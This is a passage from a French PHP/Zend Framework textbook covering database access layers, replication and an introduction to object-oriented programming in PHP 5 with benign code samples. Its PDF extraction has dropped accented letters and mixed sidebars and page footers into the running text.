2 de SQLite et une autre pour la version 3 qui savre plus performante, selon la documentation. http://www.php.net/manual/fr/ref.pdo-sqlite.php

T PDO

PDO (PHP Data Objects) est une extension un peu particulire qui permet dutiliser la mme interface (classes et mthodes) quel que soit le SGBD sous-jacent. Les extensions qui font la liaison entre PDO et les SGBD sappellent des pilotes (drivers) : pdo_mysql, pdo_oci, pdo_sqlite, etc.

308

Groupe Eyrolles, 2008

PostgreSQL pgsql : une extension procdurale permettant la connexion et le pilotage dun serveur PostgreSQL. http://www.php.net/manual/fr/book.pgsql.php pdo_pgsql : le driver PDO de PostgreSQL. http://www.php.net/manual/fr/ref.pdo-pgsql.php

Notions avances
Le monde des SGBD est vaste et peut devenir compliqu ds quon sintresse des architectures complexes ayant de fortes contraintes de performances. Voici une liste de cas pour lesquels il sera ncessaire davoir des connaissances avances : besoin dune architecture rpartie cest--dire une base de donnes constitue de plusieurs nuds, avec des rplications ou des partages qui sont paramtrs pour assurer un bon quilibre entre performances, intgrit et mises jour des donnes ; une forte charge qui ncessite davoir une architecture rplique, et des tampons qui permettent dabsorber les nombreuses demandes simultanes en lecture ou en criture ; une grande complexit un systme dinformation qui doit stocker de nombreuses donnes diffrentes, rparties en plusieurs bases ayant des relations entre elles. Une architecture qui na pas t bien pense au dpart peut devenir trs difficile maintenir ou dboguer.

Les ORM
Le mapping objet-relationnel (ORM Object-Relational Mapping) est un outil pratique qui permet au dveloppeur PHP de manipuler une base de donnes avec des objets (le plus souvent gnrs), crant lillusion dune base objet. LORM est gnralement utilis lorsque lon doit effectuer de nombreuses petites requtes paramtres. En fonction des implmentations, lORM peut proposer une mise en cache automatique des rsultats de requtes, car le principal inconvnient dun ORM est son impact important sur les performances. Il existe en PHP plusieurs solutions ORM, parmi lesquelles : pdoMap (gnration de classes partir dun fichier XSD) ; DB_DataObject (PEAR) ; Propel (lun des gnrateurs dobjets les plus connus) ;
Groupe Eyrolles, 2008

309

B Bases de donnes

Zend Framework - Bien dvelopper en PHP

Doctrine (lun des plus complets ce jour) ; Jelix (framework qui intgre son propre ORM).

Couches dabstraction
Avec une couche dabstraction de bases de donnes, il est possible de changer de SGBD sans modifier une ligne de code. Loutil le plus connu en PHP sappelle ADOdb. Les couches dabstraction, si elles permettent une migration rapide dun SGBD un autre, manipulent les requtes SQL afin de les rendre compatibles avec la base sous-jacente, ce qui nest pas sans inconvnients : des performances moindres, bien que relatives... une requte mal crite aura davantage dimpact sur les performances que la couche dabstraction ; limpossibilit dutiliser des fonctionnalits spcifiques du SGBD sousjacent, sous peine de ne pas tre compatible avec les autres SGBD, ce qui rendrait la prsence de la couche dabstraction un peu obsolte.

RESSOURCE ADOdb
Quelques informations sur ADOdb : B http://adodb.sourceforge.net/

Rplication et clustering
Ces oprations rpondent souvent des besoins de performances et, dans une moindre mesure, permettent deffectuer des sauvegardes en temps rel. La rplication est un mcanisme qui consiste reproduire en temps rel les oprations dcriture, de modification ou de suppression effectues sur une base matre dans une base esclave. Elle permet dobtenir des tables ou des bases de donnes identiques, sous rserve du temps de propagation des oprations de rplication. La rplication est utile lorsque lon a beaucoup de requtes en lecture. Lies un rpartiteur de charge, deux bases de donnes, ou plus, peuvent se partager le traitement des requtes de manire quilibre. Le clustering est quant lui un systme permettant de ne voir quune seule base de donnes lorsquil y en a plusieurs. Lobjectif du cluster est daugmenter la puissance de calcul en utilisant plusieurs ordinateurs qui nen reprsentent quun seul. Des SGBD comme Oracle ou MySQL proposent des solutions de rplication et de clustering. Pour avoir plus dinformations sur ces concepts avancs, nous vous conseillons la lecture de la documentation en ligne: clustering avec Oracle : http://www.oracle.com/technology/products/database/clustering/index.html ; clustering avec MySQL : http://www.mysql.com/cluster.

310

Groupe Eyrolles, 2008

Programmation oriente objet

C
SOMMAIRE

B Concepts de la POO

Tout langage digne de ce nom propose de manipuler des objets. Mre des projets de dveloppement les plus ambitieux, catalyseur des systmes dinformation les plus complexes et reine de la modularit, la programmation oriente objet est aujourdhui incontournable. Pour le dveloppeur, elle est un vritable tremplin qui lui permettra de crer des applications de grande envergure, durables et faciles maintenir.

B Implmentation en PHP B Modlisation et gnie logiciel B Concepts objet PHP avancs


MOTS-CLS

B objet B classe B exception B hritage B rflection B mthode magique B UML B visibilit B mthode B proprit

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Cette annexe propose une introduction simple et pdagogique la programmation oriente objet. Elle sadresse autant aux dbutants qui souhaitent apprendre ce concept incontournable qu lexpert soucieux de se rafrachir la mmoire. Aprs un rapide tour dhorizon des concepts de base lis la POO, nous nous intresserons son implmentation en PHP, puis aux outils de modlisation qui permettent de structurer efficacement un programme en amont.

Concepts de base
RESSOURCE Comprendre la POO
Lintrt du concept de POO nest pas toujours vident apprhender au dbut, surtout si vous aviez lhabitude de dvelopper en mode procdural. Si tel est votre cas, nous vous conseillons galement de lire la section intitule Les objets de louvrage franais Best practices PHP 5 qui vous aidera, grce de nombreuses illustrations, vous familiariser avec ce concept. B G. Ponon, Best practices PHP 5, Eyrolles, 2005

Ce chapitre est trs important pour apprendre ou se remmorer le pourquoi et le comment de la programmation oriente objet. Vous avez entendu dire ou vous vous ltes peut-tre dit vous-mme : La POO nest pas ncessaire pour crer un bon programme en PHP . Tout dveloppeur qui matrise la POO vous rtorquera que oui, il est possible de faire Paris-Marseille vlo, mais il y a plus efficace comme outil pour envisager un voyage ambitieux.

Tout est question dorganisation


Que faites-vous pour trouver un livre dans une bibliothque qui en contient des centaines de milliers ? Rponse : cela dpend de lorganisation quon a donne ces livres. Pour cela, votre bibliothcaire a plusieurs possibilits : faire un gros tas contenant tous les livres au milieu de la pice : pour trouver un livre prcis il vous faudra beaucoup de patience ; pour trouver tous les livres sur PHP, il vous faudra au moins une semaine de splologie ; ranger tous les livres par ordre alphabtique, par auteur : pour trouver un livre prcis, a sera rapide si vous connaissez lauteur ; pour avoir sous les yeux lensemble des livres sur PHP, il vous faudra parcourir tous les livres de la bibliothque ; classer les livres par genre et par thmes, puis les ranger par ordre alphabtique, par auteur, puis par titre : pour trouver un livre prcis, a sera encore plus rapide ; avoir sous les yeux tous les livres sur PHP sera immdiat, car votre bibliothcaire tout mis dans le rayon correspondant au thme PHP .
Groupe Eyrolles, 2008

312

Ranger ses procdures dans les bons rayons


Les procdures de votre application sont comme les livres de votre bibliothque. Plus vous les rangez intelligemment, moins vous aurez les chercher. Un code bien rang, cest : du temps gagn chaque fois que lon veut trouver une fonctionnalit existante ; un moyen de rutiliser au maximum les fonctionnalits existantes, plutt que daugmenter le nombre de lignes de code en redveloppant ce qui existe dj ; lassurance de matriser tout votre code, mme sil y en a beaucoup et mme si vous ny avez pas touch depuis longtemps. En programmation, et avec PHP tout particulirement, il existe trois moyens de ranger son code : dans des fichiers ; dans des fonctions ; dans des classes. Parmi ces moyens, le plus volu est bien entendu le systme des classes que nous nous proposons dtudier ici.

Quest-ce quune classe ?


Une classe est un ensemble qui peut contenir des donnes et des fonctionnalits. Une classe permet de rassembler des donnes et des fonctionnalits qui interagissent troitement, garantissant un espace clos et scuris. Techniquement, une classe possde : un nom (exemple : Blog) ; des fonctions (exemple : getRecords(), getComments(), etc.) ; des variables (exemple : $records, $comments, etc.).

Dclarer une classe


Voici une classe vide :
Classe Blog vide
class Blog {}

Une classe est dclare avec le mot cl class suivi de son nom et de son contenu. Le contenu de la classe est toujours entre les deux accolades qui suivent le nom.

Groupe Eyrolles, 2008

313

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Voici une classe contenant une donne :


Classe Blog contenant une donne (proprit)
class Blog { public $records = array(); }

T Variable de classe

Cette classe possde une variable $record qui contient un tableau vide. Nous reviendrons plus loin sur la signification du mot cl public. Pour ajouter une fonctionnalit la classe fonction dans la classe :
Blog,

Une variable situe dans une classe sappelle une proprit, on peut aussi lappeler attribut.

il suffit de dclarer une

Classe Blog contenant une fonctionnalit (mthode)


class Blog { public function getRecords() {} }

T Fonction de classe

Une fonction situe dans une classe sappelle une mthode. Lorsquon lcrit comme dans cet ouvrage, sa dnomination sera systmatiquement suivie de parenthses : uneMethode().

Cette classe possde une fonction vide getRecords(). De mme, nous verrons ultrieurement la signification de public.

Des classes et des objets


Cette diffrence est trs importante en programmation oriente objet : une classe est une implmentation, cest--dire du code PHP ; un objet est une instance de la classe, cest--dire une variable que lon utilise pour appeler les donnes et les fonctionnalits de la classe. Il est important de savoir que : avec une classe on peut crer plusieurs objets ; chaque objet dune mme classe peut avoir des donnes diffrentes et distinctes. Pour crer un objet partir dune classe, on utilise le mot cl new :
Cration dun objet
$blog = new Blog();

Lobjet $blog est cr partir de la classe Blog.

314

Groupe Eyrolles, 2008

Implmentation en PHP
Chaque langage propose sa syntaxe du modle objet, mais tous ont de nombreux points communs. Nous allons voir comment fonctionne le modle objet de PHP. Il est possible daccder aux attributs et aux mthodes dun objet via laccesseur objet, not -> (flche) :
Une classe Blog
class Blog { public $records = array(); public function getRecords() {} }

CULTURE PHP 4 ou PHP 5 ?


PHP 4 et PHP 5 possdent des diffrences importantes dans leurs modles objet respectifs. Cet ouvrage traite uniquement du cas de PHP 5.

Cration dun objet Blog


$blog = new Blog(); var_dump($blog->records);

Ce code va afficher le tableau $records de lobjet $blog. Ceci nest possible que parce que : nous avons cr un objet de la classe Blog, via le mot-cl new ; lattribut $records de lobjet est dclar avec une visibilit public. Il peut tre intressant daccder cette proprit $records, depuis la classe elle-mme. Il faut pour cela pouvoir rfrencer lobjet externe, et ceci seffectue grce la variable spciale $this.
La classe Blog introduisant la variable spciale $this
class Blog { public $records = array(); public function getRecords() { return $this->records; } }

La mthode getRecords(), lorsquelle est appele, retournera la valeur de lattribut $records. Remarquez que le dollar est devant $this et donc pas devant records, aprs la flche. $this reprsente lobjet qui, plus tard, sera cr, il est donc impossible dutiliser cette variable en dehors dune classe, ni de lui affecter directement une valeur ($this = 'quelquechose' est impossible).
Groupe Eyrolles, 2008

315

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Visibilit
Il existe trois niveaux de visibilit qui sappliquent autant aux proprits quaux mthodes : public : tout le monde peut accder la ressource dclare ; protected : la ressource nest pas accessible depuis lobjet, lextrieur de la classe, elle ne lest que depuis la classe courante ou une classe fille (notion que nous allons aborder) ; private : la ressource nest accessible que depuis lespace o elle est dclare, cest--dire la classe.
Classe Blog modifie par visiblit
class Blog { private $_records = array(); public function getRecords() { return $this->_records; } }

Nous avons pass lattribut $_records en visibilit private. Il nest donc plus possible dy accder depuis lextrieur de cette classe :
Tentative daccs un attribut priv
$blog = new Blog(); var_dump($blog->_records); // affiche : Fatal error: Cannot access private property Blog::$_records in PHPDocument1 on line 16

Pour accder lattribut $_records, depuis lobjet, nous devons utiliser la mthode getRecords() qui elle est publique, donc accessible depuis lobjet. Elle a la possibilit de retourner le tableau dans $_records, car on y fait rfrence depuis la classe et non depuis lextrieur (private) :
Accs avec la mthode REMARQUE Convention dcriture
Par convention, nous prfixerons le nom de tout attribut ou mthode non public par un trait de soulignement _ (underscore). Cette convention est utilise dans le code source de Zend Framework.
$blog = new Blog(); var_dump($blog->getRecords());

La visibilit est une notion fondamentale de la programmation oriente objet. Elle va permettre au programmeur de masquer un certain nombre dinformations tout en matrisant les donnes auxquelles il veut que lon ait accs partir des objets crs depuis la classe.
Groupe Eyrolles, 2008

316

Construction et destruction
Linitialisation est une tape importante dans la vie dun objet. On veut souvent, la cration de lobjet, initialiser plusieurs de ses attributs, ou plus gnralement, initialiser un contexte. PHP fournit une mthode de construction dobjets, dite magique, car elle va tre appele implicitement. Cette mthode est __construct().
Classe contenant un constructeur
class Voiture { public $color; public $vitesseMaxi; public function __construct($couleur, $vitesse) { $this->color = $couleur; $this->vitesseMaxi = (float) $vitesse; } }

Ds lutilisation du mot-cl new, la mthode __construct() sera appele de manire automatique, comme une fonction PHP normale, avec ses paramtres obligatoires et/ou facultatifs :
Construction dun objet
$v1 = new Voiture('bleue', 120); $v2 = new Voiture('rouge', 80); echo $v2->color; // affiche rouge echo $v1->vitesseMaxi; // affiche 120

Nous venons de crer deux objets diffrents de la classe Voiture. Le destructeur est quant lui appel la fin de la vie de lobjet, cest-dire ds quil ne reste plus aucune rfrence lobjet en question en mmoire. Alors que dautres langages comme C++ imposent la gestion manuelle de la mmoire et le drfrencement des objets, ce nest pas le cas de PHP. Ainsi, les destructeurs sont trs souvent omis car leur utilit nest que trs ponctuelle. La mthode de destruction est __destruct().
Exemple de destruction dun objet
class Blog { public function __destruct() { echo 'dtruit';

Groupe Eyrolles, 2008

317

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

T Mthode magique

} } $b = new Blog();

Une mthode magique est une mthode de classe spciale qui est automatiquement appele lorsquun vnement survient. Elle est prfixe par __ . Il existe de nombreuses mthodes magiques en PHP, dtailles plus loin dans cette annexe.

Ce code affiche dtruit, car lobjet est cr puis est dtruit par PHP automatiquement, la fin du script. Le destructeur est donc bien une mthode magique : il est appel implicitement.

Hritage
MMORISER Vocabulaire franais
On utilise souvent lexpression est un ou est une sorte de , pour dsigner un objet dune classe fille, par rapport la classe mre. Par exemple : une Voiture est un Vehicule, Voiture tant la classe fille et Vehicule, la classe mre.

Lhritage est lui aussi une notion fondamentale de la programmation oriente objet. Il permet une rutilisabilit du code, en mettant en facteurs les ressources et les fonctionnalits communes plusieurs classes, dans une seule et mme classe, appele classe mre. Les autres classes vont alors hriter de la classe mre, on les appelle ainsi les classes filles.
Exemple de code dupliqu entre les classes
class Livre { private $_nbrPages; private $_prix; private $_couleur; public function __construct($nbrPages, $prix, $couleur) { $this->_nbrPages = (integer) $nbrPages; $this->_couleur = $couleur; $this->_prix = (float) $prix; } public function getPrix() { return $this->_prix; } } class Stylo { private $_couleurEncre; private $_prix; private $_couleur; public function __construct($couleurEncre, $prix, $couleur) { $this->_couleurEncre = $couleurEncre; $this->_couleur = $couleur; $this->_prix = (float) $prix; }

318

Groupe Eyrolles, 2008

public function getPrix() { return $this->_prix; } }

Voyez ces deux classes, Stylo et Livre. Elles ont des points communs : les objets de ces deux classes possdent un prix les objets de ces deux classes possdent une couleur. Il est possible de factoriser ce code commun dans une classe mre, et den faire hriter chacune des classes filles grce au mot-cl extends :
La classe mre comporte le code commun
class Produit { protected $_prix; protected $_couleur; public function __construct($prix, $couleur) { $this->_couleur = $couleur; $this->_prix = (float) $prix; } public function getPrix() { return $this->_prix; } }

Chacune des classes filles va hriter du code de la classe mre et va pouvoir dfinir sa propre spcialisation, qui la diffrenciera de la classe mre et des classes surs :
La classe Livre est une spcialisation de Produit
class Livre extends Produit { private $_nbrPages; public function __construct($nbrPages, $prix, $couleur) { $this->_nbrPages = (integer) $nbrPages; parent::__construct($prix, $couleur); } }

Groupe Eyrolles, 2008

319

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

La classe Stylo est aussi une spcialisation de Produit


class Stylo extends Produit { private $_couleurEncre; public function __construct($couleurEncre, $prix, $couleur) { $this->_couleurEncre = $couleurEncre; parent::__construct($prix, $couleur); } }

ATTENTION Hritage multiple


En PHP, lhritage multiple nest pas possible : une classe ne peut avoir quune et une seule mre, pas plus.

La classe mre Produit est dclare avec des attributs protected, ce qui autorise les classes filles y faire rfrence, comme si elles avaient t explicitement dfinies dans celles-ci. Cependant, nous navons pas utilis public, donc nous interdisons lobjet prochainement cr accder ces attributs (masquage dinformations). Le mot-cl parent:: permet dappeler une mthode de la classe mre en lui passant des arguments. Cette technique permet une rutilisation du code, aucune duplication nest effectue, on ne prcisera dans les classes filles que ce qui change par rapport la classe mre.

NOTER Hritage et visibilit


On peut changer la visibilit lorsquon hrite vers une visibilit plus faible, mais pas vers une visibilit plus forte. Un attribut dclar protg pourra tre hrit et redfini protg ou public dans la classe fille, mais pas priv. Ceci empcherait un ventuel futur autre hritage.

Variables et mthodes statiques


Jusqu prsent, nous avons vu comment crire des classes, mettre en place un hritage et crer des instances (des objets), grce au mot-cl new. Nous savons galement comment manipuler les objets crs pour faire appel aux mthodes et aux attributs dclars. La variable spciale $this est utilise dans la classe pour rfrencer lobjet qui sera plus tard cr.
SAVOIR Appel statique
Il est dusage de ne pas faire appel un attribut ou une mthode statique partir dun objet. Dans notre exemple, lappel $c1->compter() est incorrect, mme si PHP le tolre tout en renvoyant une erreur non bloquante. La mthode statique compter() doit tre appele via la notation Compteur::compter().

Un attribut ou une mthode statique (mot-cl static) est li la classe et non lobjet. Lorsquune modification est effectue sur un attribut statique, toutes les instances (objets) de la classe subissent cette modification, car celui-ci est unique et li la classe.
Une classe contenant un attribut et une mthode statiques
class Compteur { private static $_count = 0; public static function compter() { return ++self::$_count; } }

320

Groupe Eyrolles, 2008

$c1 = new Compteur(); echo $c1->compter(); // affiche 1 et une erreur PHP echo Compteur::compter(); // affiche 2 $c2 = new Compteur(); echo $c2->compter(); // affiche 3 et une erreur PHP

Lattribut dclar static est partag entre toutes les instances et ne ncessite pas forcment la cration dune instance pour tre accessible. Notez que pour accder de manire statique, on utilise le double deuxpoints, prcd du nom de la classe. Si on se trouve dans une mthode de la classe, le mot-cl self permet de la reprsenter. Comme nous venons de le voir, les attributs et/ou mthodes statiques sont persistants entre les objets. Ils sont lis la classe. Cette particularit est telle que, dans le cas dun hritage, il ny a pas de redfinition comme dans le cas dattributs et de mthodes non statiques. On peut cela dit faire appel un lment statique de la classe mre partir de la classe fille.
Hritage et contexte statique
class A { public static $a = 1; public static $b = 2; } class B extends A { public static $a = 3; } echo A::$a; // Affiche 1 echo B::$a; // Affiche 3 echo B::$b; // Affiche 2

NOTER Appels statiques


Il est possible dappeler une mthode statique de manire non statique. Il nest en revanche pas possible dappeler une mthode non statique de manire statique. Une erreur de type E_STRICT minimum sera leve, E_FATAL si la mthode contient la pseudo-variable $this.

REMARQUE Dduction logique


Une mthode statique ne peut contenir la pseudovariable $this : cela na pas de sens.

Constantes de classe
Une classe peut possder ses propres constantes. En PHP, les constantes sont dites de classe, il est sous-entendu quelles sont statiques. Elles appartiennent la classe et donc lensemble des objets qui en seront crs. Il nexiste pas de constante dobjet. Aussi, les constantes nont pas de visibilit, elles sont considres comme tant implicitement publiques, en permanence. Pour dclarer une constante, il faut utiliser le mot-cl const.

Groupe Eyrolles, 2008

321

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Dclaration de constantes de classe


class Zend_Version { const VERSION = '1.6.1'; public static function compareVersion($version) { return version_compare($version, self::VERSION); } } printf("Le Framework est en version %s", Zend_Version::VERSION);

CONVENTION criture dune constante


Une constante est systmatiquement crite en majuscules. Cest une convention acquise et trs utilise dans de nombreux projets, dont Zend Framework.

Comme pour les attributs ou mthodes statiques, pour accder une constante de classe depuis lextrieur de celle-ci, on utilise la syntaxe nom-de-la-classe::CONSTANTE. Depuis lintrieur de la classe,
self::CONSTANTE.

Classes, mthodes abstraites et interfaces


Abstract
T Classe abstraite

Une classe abstraite est une classe partir de laquelle on ne peut pas crer dobjets.

Grce lhritage, nous avons vu quil est possible de faire hriter une classe fille dune classe mre. Parfois, il nest pas utile de crer des objets partir de la classe mre, et nous souhaiterions empcher cela. Cest dans ce cas que la notion de classe abstraite est utile.
Reprise de la classe mre qui comporte le code commun
class Produit { // ... }

Dans un exemple prcdent, nous avions une classe Produit drive en deux classes Stylo et Livre. Tel que cela a t dclar, il est toujours possible de crer des objets de la classe Produit. Ceci na pas beaucoup de sens, car un produit doit tre, dans notre cas, soit un livre, soit un stylo. Ainsi, passer la classe Produit en classe abstraite permet dviter toute cration dobjets directement avec cette classe.
La classe mre Produit devient abstraite
abstract class Produit { // ... }

322

Groupe Eyrolles, 2008

Le mot-cl abstract juste avant le mot-cl class permet de spcifier une classe comme tant abstraite. Il nest dsormais plus possible de crer des objets de la classe Produit directement. Cette classe sert dsormais rellement de patron : elle met disposition une partie de son code (tout ce qui a une visibilit autre que prive) aux classes qui vont en hriter. La notion abstract peut aussi tre porte aux mthodes : une mthode abstraite ne peut pas contenir de corps (dinstructions), elle est simplement l pour dire aux futures classes filles quelles devront dfinir cette mthode et son corps.
La classe abstraite Produit contient prsent une mthode abstraite
abstract class Produit { // ... abstract public function calculRemise(); }

Cette fois-ci, notre classe, toujours abstraite, possde une mthode abstraite calculRemise(). Ceci signifie que toutes les classes qui vont hriter de Produit vont devoir explicitement dclarer une mthode publique calculRemise().
Notre classe Livre hrite de Produit et doit en dfinir toutes les mthodes abstraites
class Livre extends Produit { // ... public function calculRemise() { return $this->_prix * 0.15; } }

SAVOIR Classe et mthode abstraites


Toute classe qui possde au moins une mthode abstraite doit alors tre dclare comme classe abstraite.

Si nous avions hrit de Produit sans dfinir de mthode calculRemise(), PHP aurait renvoy une erreur E_FATAL :
Fatal error: Class Livre contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (Produit::calculRemise) in PHPDocument1 on line 32

LOGIQUE Mthode abstraite et visibilit


Dclarer une mthode abstraite avec une visibilit prive est un contresens : elle est abstraite donc elle devra tre redfinie dans une classe fille, mais elle est prive dans la classe mre donc on ne peut en hriter... PHP renverra une erreur E_FATAL.

Cette technique est relativement pratique lorsque lon cre une classe abstraite patron. On sait ce qui va tre hrit et on prvoit, via des mthodes dclares comme abstraites, ce qui va se passer dans les classes filles, mais sans en crire le code. Ce sera elles de le faire. On appelle aussi cela la programmation par contrat.
Groupe Eyrolles, 2008

323

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Interfaces
T Interface

Une interface nest pas une classe. On ne cre pas dobjet depuis une interface. On nhrite pas dune interface, mais on cre des classes qui vont limplmenter. Comme nous le verrons galement, une interface ne comporte pas de code utile mais juste des dclarations.

Les interfaces sont trs semblables aux classes abstraites, dans la mesure o elles dfinissent un contrat que devront remplir les classes qui les implmenteront. Pour dclarer une interface, il faut utiliser le mot-cl interface.
Dclaration dune interface
interface Achetable { function getPrice(); function getStock(); function sell($copies); }

Classe implmentant une interface


class Produit implements Achetable { protected $_price; protected $_stock; public function __construct($p, $s) { $this->_price = abs((int)$p); $this->_stock = abs((float)$s); } public function getStock() { return $this->_stock; } public function getPrice() { return $this->_price; } public function sell($copies) { $this->_stock -= abs((int)$copies); return $this->_price * $copies; } }

NOTER Les mthodes dune interface


Une interface sert de patron : ses mthodes nont pas de visibilit (il ne sagit pas dune classe), elles nont pas non plus de corps (de code crit lintrieur), mais possdent une signature (des arguments ventuels).

Cette classe implmente linterface Achetable. Il est donc obligatoire quelle dfinisse les mthodes prsentes dans cette interface sous peine dobtenir une erreur PHP E_FATAL. Le gros avantage des interfaces, par rapport une classe abstraite ne contenant que des mthodes abstraites est quen PHP, on ne peut hriter que
Groupe Eyrolles, 2008

324

dune seule classe, mais on peut implmenter autant dinterfaces que lon souhaite, du moment que lon dfinit toutes les mthodes de toutes les interfaces que lon implmente. De mme, il nest pas interdit dhriter dune classe alors que lon implmente une ou plusieurs interfaces. Le trio classes, classes abstraites et interfaces, lorsquil est utilis bon escient, permet de monter des structures de programmes dune souplesse et agilit incroyables. La programmation par contrat est le fait de dfinir des interfaces, et ventuellement des classes abstraites, avant toute classe relle. Les diffrentes possibilits de coupler ces trois structures que sont la classe, la classe abstraite et linterface, vont dfinir ce que lon appelle des motifs de conception, ou encore design patterns, expliqus dans lannexe D.
RETENIR Classe abstraite ou interface ?
Si vous hsitez entre les deux, retenez bien ceci : le rle dune classe abstraite est avant tout de factoriser des traitements et celui dune interface dimposer une structure. Par le biais des mthodes abstraites, une classe peut imposer la redfinition dune mthode ayant le mme prototype dans la classe fille, mais il est conseill de dlguer ce rle linterface.

Final
Le mot-cl final sapplique une classe ou une mthode. Si une classe est dclare final, on ne pourra plus en hriter. Dans le cas dune mthode, celle-ci est hrite (si elle nest pas prive), mais elle ne pourra plus tre redfinie dans la classe fille.
Une classe finale : on ne peut plus en hriter
final class Vehicule { // ... } class Voiture extends Vehicule // fatal error {}

REMARQUE Final et visibilits


Dans une classe dclare final, les espaces de visibilit priv et protg se confondent, tant donn que lon ne peut plus en hriter.

Ce code gnre une erreur E_FATAL, car on ne peut plus hriter dune classe tant dclare comme final.
Une mthode finale : on ne peut plus la redfinir
class Vehicule { final public function acheter() { // du code ici } } class Voiture extends Vehicule { public function acheter() // fatal error {} }

Groupe Eyrolles, 2008

325

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Le concept de final appuie encore plus le concept de la programmation oriente objet : le concepteur dune classe peut vouloir bloquer lhritage ou la redfinition dune classe ou mthode sil estime que ceci peut savrer dangereux pour la stabilit du code gnral.

Modlisation et gnie logiciel


Tel que lintroduit Wikipdia, le gnie logiciel dsigne lensemble des mthodes, des techniques et outils concourant la production dun logiciel, au-del de la seule activit de programmation.
PROPOS Web et logiciel
Nous parlons de logiciel, oui. Le Web stant fortement compliqu durant ces dix dernires annes (et il est en perptuelle volution), il y a beaucoup de points communs entre un systme dinformation web et un logiciel dit client lourd (tournant dans un systme dexploitation). Nombre de concepts existants du gnie logiciel sappliquent ainsi merveille au cas du Web, y compris en PHP.

Programmer avec des objets napporte rien si lachitecture du code est mauvaise. Avant de dvelopper, une tape de rflexion est ncessaire. Cest la quantit dobjets et la manire dont ceux-ci interagissent les uns avec les autres qui vont dterminer la souplesse et la qualit interne dun logiciel. On a souvent recours des mthodes prouves pour monter les objets les uns dans les autres, de manire trs cadre. Quelques-unes de ces mthodes sappellent des motifs de conception, ou design patterns (voir en annexe D).

Les relations entre classes


Lorsque deux classes sont lies, elles possdent une relation, que lon peut alors nommer. On distingue ainsi au moins cinq relations distinctes entre classes (on peut en distinguer plus, mais ceci dpasse le cadre de cet ouvrage) : lhritage, lassociation, lagrgation, la composition et la dpendance.

Lhritage
Comme nous lavons dj vu, lhritage est un lien entre deux classes (en PHP, lhritage ne peut concerner que deux classes, pas plus). Cest le lien de dpendance le plus fort qui existe, une classe tant un sous-type de lautre, et la fille ne pouvant pas vivre sans sa mre, quoiquil arrive.

Lassociation
Lassociation est le fait quau moins une mthode dune classe A utilise un objet issu dune autre classe B. On parle alors dassociation unidirectionnelle. Si au moins une mthode de B utilise un objet de la classe A, alors lassociation est dite bidirectionnelle.

326

Groupe Eyrolles, 2008

Il est conseill dviter au maximum les associations bidirectionnelles, car elles induisent un couplage trs fort et sont souvent signe dune mauvaise analyse.
Exemple dassociation unidirectionnelle
class Atelier { public function reparer (Voiture $v) { $this->verifieRoues($v->getRoues()); $this->verifiePeintue($v->getPeinture()); // ... } }

T Couplage

Le couplage est le nombre de liaisons quune classe possde avec dautres. Plus une classe en ncessite dautres pour fonctionner, plus le couplage est fort, et plus limpact du changement sera difficile prvoir et raliser. En gnie logiciel, il faut tout prix garder un couplage le plus faible possible, de manire augmenter la rutilisabilit des classes, mme si cela nest pas toujours simple.

Mme si dautres mthodes peuvent exister dans la classe Atelier, au moins une dentre elles ncessite une instance de la classe Voiture. Il y a alors association dAtelier vers Voiture.

Lagrgation
Lagrgation est une association particulire. Elle note le fait quun objet (une partie) fait partie dun autre (le tout). Ceci se caractrise dans le code par le fait quune classe possde un attribut qui est un objet instance dune autre classe. Il est important de noter que la vie de lobjet contenant est indpendante de la vie de lobjet contenu.
Exemple dagrgation
class Train { public function __construct(Wagon $wagon) { $this->addWagon($wagon); } public function addWagon(Wagon $wagon) { //... } } class Wagon { //... }

Groupe Eyrolles, 2008

327

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Ici, nous voyons bien quun train comporte au moins un wagon, mais nous pouvons crer lobjet Wagon que nous voulons et le passer au constructeur de Train. La classe Train est lie la classe Wagon, mais de manire non intime.

La composition
La composition est une agrgation particulire, dans la mesure o elle est plus forte. La diffrence entre les deux peut tre parfois difficile cerner, mais la composition est non partageable et non isolable. Il faut penser que lobjet composite B est une instance unique. Cest elle, elle seule et toujours la mme, qui est contenue dans un objet compos A. Lobjet A ne peut vivre sans son unique instance de B : par exemple, un htel H ne peut exister sans une chambre C, et cette mme chambre C ne peut pas tre isole (prise dans un contexte sans htel H), ni partage entre plusieurs htels.
Exemple de composition
class Hotel { private $_chambre; public function __construct() { $this->_chambre = new Chambre(); } } class Chambre { //... }

La dpendance
La dpendance est une association assez gnrique. Elle existe lorsquaucune autre ne convient. Elle est matrialise par le fait que le changement dans une signature de mthode dune classe B va induire un changement dans lcriture de la classe A.
Exemple de dpendance
class Personne { private $_nom; public function __construct($nom) { $this->_nom = $nom;

328

Groupe Eyrolles, 2008

} public function generateFacture() { $chambre = Hotel::getChambre($this->_nom); // ... } } class Hotel { public static function getChambre($personneName) { // ... } }

T Paquetage

Ici la dpendance est moindre, mais Personne va dpendre de Hotel, car elle en utilise une mthode statique. Ainsi, lappel cette mthode ncessitera la connaissance et linclusion de la classe Hotel. De mme, un changement dans la signature de la mthode getChambre() inclura un changement de son appel, dans la classe Personne. En gnral, les liens dits de dpendance, comme celui-ci, sont plutt reprsentatifs au niveau des paquetages.

Un paquetage (package) est une entit, en gnie logiciel, reprsentant un groupement de classes dont le rle logique est le mme. Par exemple, dans Zend Framework, chaque composant est un paquetage (Zend_Date, Zend_Db...). PHP ne supporte pas, au niveau du langage, le type package, la diffrence dautres langages comme Java. Celui-ci est namoins signal dans la PHPDoc grce la cl @package.

Les diagrammes UML


Pour pouvoir discuter sereinement dun projet entre membres dune mme quipe, il est indispensable de pouvoir modliser lapplication, ou une partie de celle-ci. Le langage normalis de modlisation dune application sappelle UML (Unified Modeling Language). tant donn que ce langage est trs vaste, des ouvrages entiers lui sont ddis. Nous naborderons ici que ce qui concerne les diagrammes, en tentant de nous focaliser sur ceux que lon utilise le plus souvent sur des projets PHP, et notamment ceux pilots par Zend Framework.

RFRENCES UML
R P. Roques, UML 2

par la pratique, Eyrolles, 5e dition, 2008 R P. Roques, UML 2, Modliser une application web, Eyrolles, 4e dition, 2008 R P. Roques, Mmento UML 2, Eyrolles, 2005

